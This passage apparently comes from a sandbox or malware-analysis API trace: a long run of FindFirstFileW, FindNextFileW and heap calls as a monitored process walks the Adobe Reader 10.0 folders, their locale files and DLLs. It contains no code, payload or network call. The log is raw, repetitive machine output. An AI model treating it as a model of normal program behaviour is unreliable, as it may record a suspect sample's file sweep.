ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHS", cAlternateFileName="")) returned 1 [0225.158] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHS", cAlternateFileName="")) returned 0 [0225.158] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0225.159] GetProcessHeap () returned 0x550000 [0225.159] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0225.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0225.159] GetProcessHeap () returned 0x550000 [0225.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0225.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0225.174] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.174] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="ACCESS~1.CHT")) returned 1 [0225.174] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CHT", cAlternateFileName="")) returned 1 [0225.174] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CHT", cAlternateFileName="ADOBEC~1.CHT")) returned 1 [0225.174] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CHT", cAlternateFileName="")) returned 1 [0225.174] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CHT", cAlternateFileName="BRDLAN~1.CHT")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CHT", cAlternateFileName="MAKEAC~1.CHT")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CHT", cAlternateFileName="MULTIM~1.CHT")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CHT", cAlternateFileName="READOU~1.CHT")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CHT", cAlternateFileName="")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CHT", cAlternateFileName="SAVEAS~1.CHT")) returned 1 [0225.175] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CHT", cAlternateFileName="")) returned 1 [0225.176] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CHT", cAlternateFileName="")) returned 1 [0225.176] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0225.176] GetProcessHeap () returned 0x550000 [0225.176] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0225.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0225.176] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.176] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0225.176] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0225.176] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0225.176] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0225.177] GetProcessHeap () returned 0x550000 [0225.177] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0225.177] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0225.177] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CHT", cAlternateFileName="")) returned 1 [0225.177] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHT", cAlternateFileName="")) returned 1 [0225.177] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHT", cAlternateFileName="")) returned 0 [0225.177] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0225.177] GetProcessHeap () returned 0x550000 [0225.177] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0225.177] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0225.177] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0225.177] GetProcessHeap () returned 0x550000 [0225.177] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9808, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="piaglbreakfinder.dll", cAlternateFileName="PIAGLB~1.DLL")) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0225.179] GetProcessHeap () returned 0x550000 